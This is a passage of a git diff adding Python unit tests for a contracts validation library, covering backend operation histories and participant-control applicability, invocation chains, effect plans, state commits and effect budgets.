contracts.validate_backend_operation_response(operation_12, report, control=other) + + +def test_transcript_rejects_changed_control_and_unordered_or_unacknowledged_records(): + ctl = control() + raw = ctl.model_dump() + raw["budget"]["remaining_ms"] = 800 + changed = contracts.BackendOperationControlModel.model_validate(raw) + operation_13 = request() + with pytest.raises(ValueError, match="control"): + contracts.validate_backend_operation_history(operation_13, [], controls=[ctl, changed]) + operation_14 = request() + reports_15 = [response(outcome())] + with pytest.raises(ValueError, match="acknowledgement"): + contracts.validate_backend_operation_history(operation_14, reports_15) + ack = response({"kind": "acknowledgement", "disposition": "accepted"}, 2) + operation_16 = request() + reports_17 = [ack, admission()] + with pytest.raises(ValueError, match="unordered"): + contracts.validate_backend_operation_history(operation_16, reports_17) + operation_18 = request() + reports_19 = [ack, response(ack.message, 3)] + with pytest.raises(ValueError, match="twice"): + contracts.validate_backend_operation_history(operation_18, reports_19) + + +@pytest.mark.parametrize("field", ["responses", "controls"]) +def test_transcript_size_is_bounded_before_traversal(field): + operation_20 = request() + reports_21 = [admission()] * (1025 if field == "responses" else 0) + reports_22 = [control()] * (257 if field == "controls" else 0) + with pytest.raises(ValueError, match="bound"): + contracts.validate_backend_operation_history( + operation_20, + reports_21, + controls=reports_22, + ) + + +def test_protocol_installation_checks_do_not_invoke_provider(): + class Provider: + def operation_capabilities(self): + raise AssertionError("shape checking must not invoke the provider") + + def check_operation(self, request): + raise AssertionError("shape checking must not invoke the provider") + + start_operation = check_operation + observe_operation = check_operation + cancel_operation = check_operation + reconcile_operation = check_operation + + provider = Provider() + assert require_operation_provider(provider, BACKEND_OPERATION_CONTRACT_IDS) is provider + with pytest.raises(ValueError, match="declared"): + require_operation_provider(provider, ["backend-manifest-v2"]) + provider.cancel_operation = lambda: None + with pytest.raises(ValueError, match="call shape"): + require_operation_provider(provider, BACKEND_OPERATION_CONTRACT_IDS) + + +def test_request_is_frozen_and_duplicate_requirements_are_rejected(): + op = request() + with pytest.raises(ValidationError): + op.binding.worker_id = "replacement" + raw = request_payload() + raw["required_guarantees"] *= 2 + with pytest.raises(ValidationError, match="unique"): + contracts.BackendOperationRequestModel.model_validate(raw) diff --git a/implementations/python/tests/test_issue_1365_applicable_contracts.py b/implementations/python/tests/test_issue_1365_applicable_contracts.py new file mode 100644 index 000000000..700bd3c01 --- /dev/null +++ b/implementations/python/tests/test_issue_1365_applicable_contracts.py @@ -0,0 +1,1788 @@ +"""API-424 applicability amendment contract witnesses; no runtime adoption claim.""" + +from copy import deepcopy + +import pytest +from participant_control_contract_fixtures import ( + context_payload, + effect_payload, + evaluation_payload, + ref, + selection_payload, +) + + +def _selection_v2(): + source = selection_payload() + source["schema_version"] = "participant-control-selection/v2" + source["interpretation"] = "participant-control-applicability/rev1" + source["bindings"][0]["protocol_revision"] = "participant-control-provider/v2" + source["bindings"][0]["state_scope"] = { + "scope_id": "state-influence", + "sharing": "participant", + "authority": source["bindings"][0]["authority"], + "configuration_digest": source["bindings"][0]["configuration_digest"], + } + source["slots"] = source["slots"][:1] + other = deepcopy(source["bindings"][0]) + other["instance_id"] = "other" + other["applicability"][0]["sink_ref"] = "other-sink" + other["state_scope"]["scope_id"] = "state-other" + source["bindings"].append(other) + source["slots"].append({**source["slots"][0], "slot_id": "other-fact", "instance_id": "other"}) + source["obligations"] = [ + { + "obligation_id": "teaching-here", + "profile": source["bindings"][0]["profiles"][0], + "required_kind": "ifc-fact", + "required_strength": "exact", + "constraints": [], + }, + { + "obligation_id": "teaching-there", + "profile": source["bindings"][0]["profiles"][0], + "required_kind": "ifc-fact", + "required_strength": "exact", + "constraints": [], + }, + ] + return source + + +def _request_v2(): + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlSelectionV2Model, + control_digest, + ) + + selection = ParticipantControlSelectionV2Model.model_validate(_selection_v2()) + context = context_payload() + from raes_contracts.contracts.participant_control_coordinates import ParticipantControlContextModel + + cut = ParticipantControlContextModel.model_validate(context) + request = { + "selection": selection.model_dump(mode="json"), + "context": context, + "applicability": { + "selection_digest": control_digest(selection), + "context_digest": control_digest(cut), + "applicable_slot_ids": ["fact"], + "required_slot_ids": ["fact"], + "coverage": [ + { + "obligation_id": "teaching-here", + "status": "applies", + "slot_ids": ["fact"], + "evidence": [ref("coverage-here")], + }, + { + "obligation_id": "teaching-there", + "status": "proven-inapplicable", + "slot_ids": [], + "evidence": [ref("coverage-there")], + }, + ], + "derivation_evidence": [ref("subset-derivation")], + }, + } + return request + + +def test_disjoint_sinks_retain_full_apparatus_and_coverage(): + from raes_contracts.contracts.participant_control_applicability import ParticipantControlRequestV2Model + + request = ParticipantControlRequestV2Model.model_validate(_request_v2()) + assert len(request.selection.bindings) == 2 + assert request.applicability.applicable_slot_ids == ("fact",) + + +def test_missing_required_obligation_cannot_become_empty_success(): + from raes_contracts.contracts.participant_control_applicability import ParticipantControlRequestV2Model + + request = _request_v2() + request["applicability"]["coverage"].pop() + with pytest.raises(ValueError, match="coverage"): + ParticipantControlRequestV2Model.model_validate(request) + + +def test_applicable_obligation_requires_admitted_slot(): + from raes_contracts.contracts.participant_control_applicability import ParticipantControlRequestV2Model + + request = _request_v2() + request["applicability"]["coverage"][0]["slot_ids"] = [] + with pytest.raises(ValueError, match="coverage"): + ParticipantControlRequestV2Model.model_validate(request) + + +def test_coverage_slot_must_belong_to_its_obligation_profile(): + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlRequestV2Model, + ParticipantControlSelectionV2Model, + control_digest, + ) + from raes_contracts.contracts.participant_control_coordinates import ParticipantControlContextModel + from raes_contracts.contracts.participant_flow_control import PARTICIPANT_BOUNDARY_FLOW_POLICY_PROFILE_REV1_DIGEST + + payload = _request_v2() + other_profile = ref("participant-boundary-flow-policy-v1", "profile") + other_profile["digest"] = PARTICIPANT_BOUNDARY_FLOW_POLICY_PROFILE_REV1_DIGEST + payload["selection"]["bindings"][1]["profiles"] = [other_profile] + payload["selection"]["bindings"][1]["applicability"][0]["sink_ref"] = "teaching-observation" + payload["context"]["provider_states"].append( + {"instance_id": "other", "state": ref("state-other", "provider-state")} + ) + payload["applicability"]["applicable_slot_ids"] = ["fact", "other-fact"] + payload["applicability"]["required_slot_ids"] = ["fact", "other-fact"] + payload["applicability"]["coverage"][1].update(status="applies", slot_ids=["other-fact"]) + payload["applicability"]["selection_digest"] = control_digest( + ParticipantControlSelectionV2Model.model_validate(payload["selection"]) + ) + payload["applicability"]["context_digest"] = control_digest( + ParticipantControlContextModel.model_validate(payload["context"]) + ) + with pytest.raises(ValueError, match="profile"): + ParticipantControlRequestV2Model.model_validate(payload) + + +def test_total_proven_inapplicability_can_have_empty_applicable_subset(): + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlRequestV2Model, + control_digest, + ) + from raes_contracts.contracts.participant_control_coordinates import ParticipantControlContextModel + + request = _request_v2() + request["context"]["provider_states"] = [] + request["applicability"]["context_digest"] = control_digest( + ParticipantControlContextModel.model_validate(request["context"]) + ) + request["applicability"]["applicable_slot_ids"] = [] + request["applicability"]["required_slot_ids"] = [] + for coverage in request["applicability"]["coverage"]: + coverage["status"] = "proven-inapplicable" + coverage["slot_ids"] = [] + assert ParticipantControlRequestV2Model.model_validate(request).applicability.applicable_slot_ids == () + + +def _dependency_chain(): + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlSelectionV2Model, + control_digest, + ) + from raes_contracts.contracts.participant_control_coordinates import ParticipantControlContextModel + + request = _request_v2() + selection = request["selection"] + selection["bindings"][1]["applicability"][0]["sink_ref"] = "teaching-observation" + selection["slots"] = [ + selection["slots"][0], + { + "slot_id": "assessment", + "instance_id": "other", + "kind": "advisory", + "role": "advisory", + "dependencies": [{"slot_id": "fact", "kind": "ifc-fact"}], + }, + { + "slot_id": "rule", + "instance_id": "influence", + "kind": "decision", + "role": "mandatory", + "dependencies": [{"slot_id": "assessment", "kind": "advisory"}], + }, + ] + selection["obligations"][1]["required_kind"] = "decision" + request["context"]["provider_states"].append( + {"instance_id": "other", "state": ref("state-other", "provider-state")} + ) + request["applicability"]["coverage"][1] = { + "obligation_id": "teaching-there", + "status": "applies", + "slot_ids": ["rule"], + "evidence": [ref("coverage-there")], + } + request["applicability"]["applicable_slot_ids"] = ["fact", "assessment", "rule"] + request["applicability"]["required_slot_ids"] = ["fact", "assessment", "rule"] + selected = ParticipantControlSelectionV2Model.model_validate(selection) + request["applicability"]["selection_digest"] = control_digest(selected) + request["applicability"]["context_digest"] = control_digest( + ParticipantControlContextModel.model_validate(request["context"]) + ) + return request + + +def _chain_records(request): + from raes_contracts.contracts.participant_control_applicability import control_digest + + selection = request.selection + context = request.context + binding = {item.instance_id: item for item in selection.bindings} + cut_digest = control_digest(context) + facts = { + "fact": { + "kind": "ifc-fact", + "domain": "teaching-influence-domain/rev1", + "tokens": ["coached-hint"], + "source_refs": [ref("observation-1", "input")], + }, + "assessment": { + "kind": "advisory", + "assessment": "negative", + "score": 0.2, + "sample": ref("assessment-sample"), + }, + "rule": {"kind": "decision", "disposition": "permit", "rule": ref("decision-rule", "rule")}, + } + instances = {"fact": "influence", "assessment": "other", "rule": "influence"} + kinds = {"fact": "ifc-fact", "assessment": "advisory", "rule": "decision"} + invocations, results = [], [] + for slot_id, predecessor in (("fact", None), ("assessment", "fact"), ("rule", "assessment")): + instance = instances[slot_id] + inputs = [] + if predecessor: + inputs.append( + { + "slot_id": predecessor, + "kind": kinds[predecessor], + "result_id": "result-" + predecessor, + "result_digest": control_digest(results[-1]), + } + ) + invocation = { + "invocation_id": "invoke-" + slot_id, + "instance_id": instance, + "requested_slot_ids": [slot_id], + "binding_digest": control_digest(binding[instance]), + "context_digest": cut_digest, + "predecessor_inputs": inputs, + "state_input": { + "scope": binding[instance].state_scope.model_dump(mode="json"), + "state": next( + s.state.model_dump(mode="json") for s in context.provider_states if s.instance_id == instance + ), + "source": "committed", + "predecessor_invocation_id": None, + }, + "projection": ref("input-projection", "projection"), + } + invocations.append(invocation) + from raes_contracts.contracts.participant_control_invocation import ControlInvocationV2Model + + result = { + "result_id": "result-" + slot_id, + "slot_id": slot_id, + "instance_id": instance, + "binding_digest": invocation["binding_digest"], + "context_digest": cut_digest, + "invocation_digest": control_digest(ControlInvocationV2Model.model_validate(invocation)), + "status": "resolved", + "payload": facts[slot_id], + "evidence": [ref("result-evidence")], + "next_provider_state": None, + } + from raes_contracts.contracts.participant_control_invocation import ControlMechanismResultV2Model + + results.append(ControlMechanismResultV2Model.model_validate(result)) + return invocations, results + + +def test_a_to_b_to_a_uses_exact_predecessor_results_and_pinned_state(): + from raes_contracts.contracts.participant_control_applicability import ParticipantControlRequestV2Model + from raes_contracts.contracts.participant_control_invocation import validate_control_invocations_v2 + + request = ParticipantControlRequestV2Model.model_validate(_dependency_chain()) + invocations, results = _chain_records(request) + validate_control_invocations_v2(request, invocations, results) + broken = deepcopy(invocations) + broken[2]["predecessor_inputs"][0]["result_digest"] = "sha256:" + "b" * 64 + with pytest.raises(ValueError, match="predecessor"): + validate_control_invocations_v2(request, broken, results) + wrong_state = deepcopy(invocations) + wrong_state[2]["state_input"]["state"] = ref("wrong-state", "provider-state") + with pytest.raises(ValueError, match="state version"): + validate_control_invocations_v2(request, wrong_state, results) + + +def test_dependency_cannot_be_satisfied_within_one_invocation(): + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlRequestV2Model, + ParticipantControlSelectionV2Model, + control_digest, + ) + from raes_contracts.contracts.participant_control_invocation import validate_control_invocations_v2 + + source = _dependency_chain() + source["selection"]["slots"][2]["dependencies"] = [{"slot_id": "fact", "kind": "ifc-fact"}] + source["applicability"]["required_slot_ids"] = ["fact", "rule"] + source["applicability"]["selection_digest"] = control_digest( + ParticipantControlSelectionV2Model.model_validate(source["selection"]) + ) + request = ParticipantControlRequestV2Model.model_validate(source) + invocations, results = _chain_records(request) + combined = deepcopy(invocations) + combined[0]["requested_slot_ids"] = ["fact", "rule"] + combined[0]["predecessor_inputs"] = deepcopy(combined[1]["predecessor_inputs"]) + combined.pop() + with pytest.raises(ValueError, match="same invocation"): + validate_control_invocations_v2(request, combined, results) + + +@pytest.mark.parametrize("phase", ["required-predecessor", "success-dependent", "independent"]) +def test_parent_denial_is_invariant_across_effect_phases(phase): + from raes_contracts.contracts.participant_control_decisions_v2 import derive_control_effect_plan_v2 + + effect = effect_payload() + effect.update( + phase=phase, + parent_outcome="applied" if phase == "success-dependent" else "none", + allowed_parent_dispositions=["deny", "withhold", "permit"] if phase == "independent" else [], + originating_principal_ref="teacher", + trigger=ref("trigger-1", "trigger"), + ) + result = derive_control_effect_plan_v2( + parent_crossing=ref("crossing-1", "crossing"), + decisions=[ + { + "decision_id": "deny-rule", + "disposition": "deny", + "rule": ref("deny-rule", "rule"), + "reasons": [ref("denial-reason")], + } + ], + effects=[effect], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + assert result.parent_disposition == "deny" + assert result.runnable_effect_ids == (("effect-1",) if phase == "independent" else ()) + + +def test_independent_audit_can_follow_denial_without_releasing_parent(): + from raes_contracts.contracts.participant_control_decisions_v2 import derive_control_effect_plan_v2 + + effect = effect_payload( + { + "kind": "audit", + "subject": context_payload()["subject"], + "audit_record": ref("audit-1", "audit"), + "audience_ref": "reviewers", + "retention_policy": ref("retention", "policy"), + } + ) + effect.update( + phase="independent", + parent_outcome="none", + allowed_parent_dispositions=["deny"], + originating_principal_ref="teacher", + trigger=ref("trigger-1", "trigger"), + ) + plan = derive_control_effect_plan_v2( + parent_crossing=ref("crossing-1", "crossing"), + decisions=[ + { + "decision_id": "deny-rule", + "disposition": "deny", + "rule": ref("deny-rule", "rule"), + "reasons": [ref("denial-reason")], + } + ], + effects=[effect], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + assert plan.parent_disposition == "deny" + assert plan.runnable_effect_ids == ("effect-1",) + + +def test_required_predecessor_cannot_wait_for_own_parent_application(): + from raes_contracts.contracts.participant_control_decisions_v2 import derive_control_effect_plan_v2 + + effect = effect_payload() + effect.update( + phase="required-predecessor", + parent_outcome="applied", + allowed_parent_dispositions=[], + originating_principal_ref="teacher", + trigger=ref("trigger-1", "trigger"), + ) + parent_crossing = ref("crossing-1", "crossing") + with pytest.raises(ValueError, match="cycle|predecessor"): + derive_control_effect_plan_v2( + parent_crossing=parent_crossing, + decisions=[], + effects=[effect], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + + +def test_later_effect_requires_exact_parent_owner_receipt(): + from raes_contracts.contracts.participant_control_decisions_v2 import derive_control_effect_plan_v2 + + effect = effect_payload() + effect.update( + phase="success-dependent", + parent_outcome="applied", + allowed_parent_dispositions=[], + originating_principal_ref="teacher", + trigger=ref("trigger-1", "trigger"), + ) + parent_crossing = ref("crossing-1", "crossing") + with pytest.raises(ValueError, match="receipt"): + derive_control_effect_plan_v2( + parent_crossing=parent_crossing, + decisions=[], + effects=[effect], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=True, + ) + + +def test_conflicting_routes_cannot_be_admitted_by_array_order(): + from raes_contracts.contracts.participant_control_decisions_v2 import derive_control_effect_plan_v2 + + source = context_payload()["subject"] + effects = [] + for index in (1, 2): + result = deepcopy(source) + result["subject_ref"] = "routed-" + str(index) + effect = effect_payload( + { + "kind": "route", + "transformation": ref("route-rule", "transformation"), + "source": source, + "result": result, + "destination_ref": "destination-" + str(index), + "admission_policy": ref("route-policy", "policy"), + } + ) + effect.update( + effect_id="effect-" + str(index), + phase="independent", + parent_outcome="none", + allowed_parent_dispositions=["permit"], + originating_principal_ref="teacher", + trigger=ref("trigger-1", "trigger"), + ) + effect["key"]["slot"] = "route-" + str(index) + effects.append(effect) + parent_crossing = ref("crossing-1", "crossing") + with pytest.raises(ValueError, match="conflict"): + derive_control_effect_plan_v2( + parent_crossing=parent_crossing, + decisions=[], + effects=effects, + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + + +def _optional_request(): + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlSelectionV2Model, + control_digest, + ) + + request = _request_v2() + request["selection"]["slots"].append( + {"slot_id": "monitor", "instance_id": "influence", "kind": "advisory", "role": "advisory", "dependencies": []} + ) + selected = ParticipantControlSelectionV2Model.model_validate(request["selection"]) + request["applicability"]["selection_digest"] = control_digest(selected) + request["applicability"]["applicable_slot_ids"] = ["fact", "monitor"] + return request + + +def test_optional_malformed_result_is_normalized_without_private_error_text(): + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlRequestV2Model, + control_digest, + ) + from raes_contracts.contracts.participant_control_invocation import ( + ControlInvocationV2Model, + normalize_optional_result_failure_v2, + ) + + request = ParticipantControlRequestV2Model.model_validate(_optional_request()) + binding = request.selection.bindings[0] + invocation = ControlInvocationV2Model( + invocation_id="invoke-monitor", + instance_id="influence", + requested_slot_ids=("monitor",), + binding_digest=control_digest(binding), + context_digest=control_digest(request.context), + predecessor_inputs=(), + state_input={ + "scope": binding.state_scope, + "state": request.context.provider_states[0].state, + "source": "committed", + "predecessor_invocation_id": None, + }, + projection=ref("input-projection", "projection"), + ) + raw = {"slot_id": "monitor", "payload": {"secret": "private-token-do-not-disclose"}} + result, loss = normalize_optional_result_failure_v2( + request, invocation, raw, result_id="result-monitor", evidence=ref("optional-loss") + ) + assert result.status == "failed" + assert result.payload is None + assert result.next_provider_state is None + assert loss.slot_id == "monitor" + assert "private-token" not in repr(result) + repr(loss) + mandatory_invocation = invocation.model_copy(update={"requested_slot_ids": ("fact",)}) + mandatory_evidence = ref("mandatory-loss") + with pytest.raises(ValueError, match="mandatory"): + normalize_optional_result_failure_v2( + request, + mandatory_invocation, + raw, + result_id="result-fact", + evidence=mandatory_evidence, + ) + + +def test_required_support_is_compared_to_admitted_strength(): + from raes_contracts.contracts.participant_control_support_v2 import ControlSupportAssessmentV2Model + + observed = evaluation_payload()["support"][0] + observed["declared_level"] = "bounded" + observed["effective_level"] = "bounded" + observed["constraints"] = [ref("one-unit", "constraint")] + support_evidence = (ref("support-relation"),) + with pytest.raises(ValueError, match="exact"): + ControlSupportAssessmentV2Model( + obligation_id="teaching-here", + instance_id="influence", + required_strength="exact", + required_constraints=(), + effective_support=observed, + relation="bounded-compatible", + evidence=support_evidence, + ) + assessment = ControlSupportAssessmentV2Model( + obligation_id="teaching-here", + instance_id="influence", + required_strength="bounded", + required_constraints=(ref("two-units", "constraint"),), + effective_support=observed, + relation="bounded-compatible", + evidence=support_evidence, + ) + assert assessment.satisfied + + +def test_required_input_support_cannot_downgrade_its_admitted_slot_pin(): + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlRequestV2Model, + ParticipantControlSelectionV2Model, + control_digest, + ) + from raes_contracts.contracts.participant_control_decisions_v2 import ControlEffectPlanV2Model + from raes_contracts.contracts.participant_control_evaluation_v2 import derive_control_composition_v2 + + record = _evaluation_v2() + selection = record["request"]["selection"] + selection["slots"][1]["required_strength"] = "bounded" + selection["slots"][1]["constraints"] = [ref("two-units", "constraint")] + record["request"]["applicability"]["selection_digest"] = control_digest( + ParticipantControlSelectionV2Model.model_validate(selection) + ) + request = ParticipantControlRequestV2Model.model_validate(record["request"]) + plan = ControlEffectPlanV2Model.model_validate(record["effect_plan"]) + with pytest.raises(ValueError, match="support"): + derive_control_composition_v2( + request, + record["results"], + record["support"], + [], + plan, + ) + + +def test_false_trigger_is_distinct_from_missing_rule_result(): + from raes_contracts.contracts.participant_control_invocation import ControlMechanismResultV2Model + + record = evaluation_payload()["results"][1] + record["invocation_digest"] = "sha256:" + "b" * 64 + record["payload"] = None + record["rule_outcome"] = "not-triggered" + record["evaluated_basis"] = [ref("false-trigger-basis")] + result = ControlMechanismResultV2Model.model_validate(record) + assert result.status == "resolved" + assert result.rule_outcome == "not-triggered" + record["status"] = "missing" + with pytest.raises(ValueError, match="trigger|resolved"): + ControlMechanismResultV2Model.model_validate(record) + + +def test_shared_state_conflict_and_declared_tentative_chain(): + from raes_contracts.contracts.participant_control_evaluation_v2 import validate_state_proposals_v2 + + scope = _selection_v2()["bindings"][0]["state_scope"] + first = { + "invocation_id": "invoke-fact", + "scope": scope, + "before": ref("state-1", "provider-state"), + "after": ref("state-2", "provider-state"), + "commit_on": "evaluation", + "predecessor_invocation_id": None, + } + second = { + **first, + "invocation_id": "invoke-rule", + "after": ref("state-3", "provider-state"), + } + with pytest.raises(ValueError, match="state conflict"): + validate_state_proposals_v2([first, second]) + second["before"] = first["after"] + second["predecessor_invocation_id"] = "invoke-fact" + validate_state_proposals_v2([second, first]) + + +def test_rejected_commit_cannot_expose_dispatchable_effects(): + from raes_contracts.contracts.participant_control_evaluation_v2 import ControlCommitBoundaryV2Model + + record = { + "expected_history_heads": [ref("history-head", "history")], + "coverage_digest": "sha256:" + "a" * 64, + "result_digests": ["sha256:" + "b" * 64], + "decision_digest": "sha256:" + "c" * 64, + "state_proposal_digests": [], + "effect_intent_digests": ["sha256:" + "d" * 64], + "effects_consumed": 1, + "status": "rejected", + "receipt": None, + "dispatchable_effect_ids": ["effect-1"], + } + with pytest.raises(ValueError, match="dispatch"): + ControlCommitBoundaryV2Model.model_validate(record) + record["dispatchable_effect_ids"] = [] + ControlCommitBoundaryV2Model.model_validate(record) + + +def test_denied_parent_cannot_commit_release_conditioned_state(): + import json + + from raes_contracts.contracts.participant_control_applicability import control_digest + from raes_contracts.contracts.participant_control_evaluation_v2 import ( + ControlStateProposalV2Model, + ParticipantControlEvaluationV2Model, + ) + from raes_contracts.corpus import corpus_family_root + + path = ( + corpus_family_root("fixtures") + / "participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json" + ) + record = json.loads(path.read_text()) + proposal = ControlStateProposalV2Model( + invocation_id="invoke-fact", + scope=record["request"]["selection"]["bindings"][0]["state_scope"], + before=record["invocations"][0]["state_input"]["state"], + after=ref("state-2", "provider-state"), + commit_on="parent-release", + predecessor_invocation_id=None, + ) + record["results"][0]["next_provider_state"] = proposal.after.model_dump(mode="json") + from raes_contracts.contracts.participant_control_invocation import ( + ControlInvocationV2Model, + ControlMechanismResultV2Model, + ) + + by_slot = {item["slot_id"]: item for item in record["results"]} + for call in record["invocations"]: + for predecessor in call["predecessor_inputs"]: + predecessor["result_digest"] = control_digest( + ControlMechanismResultV2Model.model_validate(by_slot[predecessor["slot_id"]]) + ) + by_slot[call["requested_slot_ids"][0]]["invocation_digest"] = control_digest( + ControlInvocationV2Model.model_validate(call) + ) + record["commit"]["result_digests"] = [ + control_digest(ControlMechanismResultV2Model.model_validate(item)) for item in record["results"] + ] + record["state_proposals"] = [proposal.model_dump(mode="json")] + record["commit"]["state_proposal_digests"] = [control_digest(proposal)] + record["commit"]["status"] = "committed" + record["commit"]["receipt"] = ref("commit-receipt", "receipt") + with pytest.raises(ValueError, match="parent-release state cannot commit for a refused parent"): + ParticipantControlEvaluationV2Model.model_validate(record) + proposal = proposal.model_copy(update={"commit_on": "evaluation"}) + record["state_proposals"] = [proposal.model_dump(mode="json")] + record["commit"]["state_proposal_digests"] = [control_digest(proposal)] + accepted = ParticipantControlEvaluationV2Model.model_validate(record) + from dataclasses import replace + + from participant_control_contract_fixtures import crossing_payload + from raes_contracts.contracts.participant_control_resolution import ( + ParticipantControlValidationContextV2, + control_references, + validate_participant_control_resolved_context_v2, + ) + from raes_contracts.contracts.participant_crossing import ParticipantCrossingOccurrenceModel + + crossing = ParticipantCrossingOccurrenceModel.model_validate( + crossing_payload(accepted.request.context.model_dump(mode="json")) + ) + trusted = ParticipantControlValidationContextV2( + admitted_request=accepted.request, + admitted_crossing=accepted.request.context.crossing, + installed_bindings={item.instance_id: item for item in accepted.request.selection.bindings}, + resolved_coverage={item.obligation_id: item for item in accepted.request.applicability.coverage}, + resolved_results={item.slot_id: item for item in accepted.results}, + resolved_support={(item.obligation_id, item.instance_id): item for item in accepted.support}, + authorized_effects={control_digest(item): accepted.request.context for item in accepted.effect_plan.effects}, + safe_references=frozenset(control_references(accepted)), + support_resolver=lambda item: True, + incumbent_gate_disposition=accepted.effect_plan.incumbent_gate_disposition, + crossing_records=(crossing,), + crossing_subjects=(crossing.occurrence.subject,), + crossing_policies=(crossing.occurrence.policy,), + commit_receipt=accepted.commit.receipt, + ) + with pytest.raises(ValueError, match="trusted-context"): + validate_participant_control_resolved_context_v2(accepted, lambda _: trusted) + validate_participant_control_resolved_context_v2( + accepted, lambda _: replace(trusted, authorized_state_proposals={proposal.invocation_id: proposal}) + ) + with pytest.raises(ValueError, match="trusted-context"): + validate_participant_control_resolved_context_v2( + accepted, + lambda _: replace( + trusted, + authorized_state_proposals={ + proposal.invocation_id: proposal.model_copy(update={"commit_on": "parent-release"}) + }, + ), + ) + + +def test_new_effect_cannot_exceed_retained_causal_budget(): + import json + + from raes_contracts.contracts.participant_control_coordinates import ParticipantControlContextModel + from raes_contracts.contracts.participant_control_decisions_v2 import ControlEffectPlanV2Model + from raes_contracts.contracts.participant_control_evaluation_v2 import validate_effect_budget_v2 + from raes_contracts.contracts.participant_control_selection import ControlCausalBoundsModel + from raes_contracts.corpus import corpus_family_root + + record = json.loads( + ( + corpus_family_root("fixtures") + / "participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json" + ).read_text() + ) + context = ParticipantControlContextModel.model_validate(record["request"]["context"]) + bounds = ControlCausalBoundsModel.model_validate(record["request"]["selection"]["bounds"]) + plan = ControlEffectPlanV2Model.model_validate(record["effect_plan"]) + validate_effect_budget_v2(context, bounds, plan) + limited = context.model_copy(update={"effects_consumed": bounds.max_effects}) + with pytest.raises(ValueError, match="budget"): + validate_effect_budget_v2(limited, bounds, plan) + + +def test_v2_effect_admission_rejects_lifecycle_before_live_target_and_foreign_root(): + from raes_contracts.contracts.participant_control_coordinates import ParticipantControlContextModel + from raes_contracts.contracts.participant_control_decisions_v2 import derive_control_effect_plan_v2 + from raes_contracts.contracts.participant_control_evaluation_v2 import validate_effect_budget_v2 + from raes_contracts.contracts.participant_control_selection import ControlCausalBoundsModel + + context = ParticipantControlContextModel.model_validate(context_payload()) + bounds = ControlCausalBoundsModel.model_validate(selection_payload()["bounds"]) + lifecycle = effect_payload( + { + "kind": "shutdown", + "target_kind": "participant", + "target_ref": "participants.student", + "operation": "terminate", + "lifecycle_authority": ref("lifecycle", "authority"), + "expected_revision": "rev1", + } + ) + inject = effect_payload() + inject["effect_id"] = "effect-2" + inject["key"]["slot"] = "second" + inject["predecessor_effect_ids"] = ["effect-1"] + for effect in (lifecycle, inject): + effect.update( + phase="independent", + parent_outcome="none", + allowed_parent_dispositions=["permit"], + originating_principal_ref="teacher", + trigger=ref("trigger-1", "trigger"), + ) + plan = derive_control_effect_plan_v2( + parent_crossing=context.crossing, + decisions=[], + effects=[lifecycle, inject], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + with pytest.raises(ValueError, match="lifecycle"): + validate_effect_budget_v2(context, bounds, plan) + inject["predecessor_effect_ids"] = [] + unordered_plan = derive_control_effect_plan_v2( + parent_crossing=context.crossing, + decisions=[], + effects=[lifecycle, inject], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + with pytest.raises(ValueError, match="lifecycle"): + validate_effect_budget_v2(context, bounds, unordered_plan) + lifecycle["predecessor_effect_ids"] = ["effect-2"] + safe_plan = derive_control_effect_plan_v2( + parent_crossing=context.crossing, + decisions=[], + effects=[lifecycle, inject], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + validate_effect_budget_v2(context, bounds, safe_plan) + foreign = deepcopy(inject) + foreign["predecessor_effect_ids"] = [] + foreign["key"]["trigger_root"] = "different-root" + foreign_plan = derive_control_effect_plan_v2( + parent_crossing=context.crossing, + decisions=[], + effects=[foreign], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + with pytest.raises(ValueError, match="causal root"): + validate_effect_budget_v2(context, bounds, foreign_plan) + + +def test_consumed_tentative_state_requires_transaction_proposal(): + from raes_contracts.contracts.participant_control_applicability import control_digest + from raes_contracts.contracts.participant_control_evaluation_v2 import ParticipantControlEvaluationV2Model + from raes_contracts.contracts.participant_control_invocation import ( + ControlInvocationV2Model, + ControlMechanismResultV2Model, + ) + + payload = _evaluation_v2() + payload["results"][0]["next_provider_state"] = ref("state-next", "provider-state") + payload["invocations"][2]["state_input"].update( + source="tentative", + state=ref("state-next", "provider-state"), + predecessor_invocation_id="invoke-fact", + ) + by_slot = {item["slot_id"]: item for item in payload["results"]} + for call in payload["invocations"]: + for predecessor in call["predecessor_inputs"]: + predecessor["result_digest"] = control_digest( + ControlMechanismResultV2Model.model_validate(by_slot[predecessor["slot_id"]]) + ) + invocation = ControlInvocationV2Model.model_validate(call) + by_slot[call["requested_slot_ids"][0]]["invocation_digest"] = control_digest(invocation) + payload["commit"]["result_digests"] = [ + control_digest(ControlMechanismResultV2Model.model_validate(item)) for item in payload["results"] + ] + with pytest.raises(ValueError, match="tentative state.*transaction proposal"): + ParticipantControlEvaluationV2Model.model_validate(payload) + + +def _evaluation_v2(): + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlRequestV2Model, + control_digest, + ) + from raes_contracts.contracts.participant_control_decisions_v2 import derive_control_effect_plan_v2 + from raes_contracts.contracts.participant_control_evaluation_v2 import derive_control_composition_v2 + + request = ParticipantControlRequestV2Model.model_validate(_dependency_chain()) + invocations, results = _chain_records(request) + support = [] + for requirement_id, instance in ( + ("teaching-here", "influence"), + ("teaching-there", "influence"), + ("input:assessment", "other"), + ): + observed = evaluation_payload()["support"][0] + observed["instance_id"] = instance + observed["context_digest"] = control_digest(request.context) + support.append( + { + "obligation_id": requirement_id, + "instance_id": instance, + "required_strength": 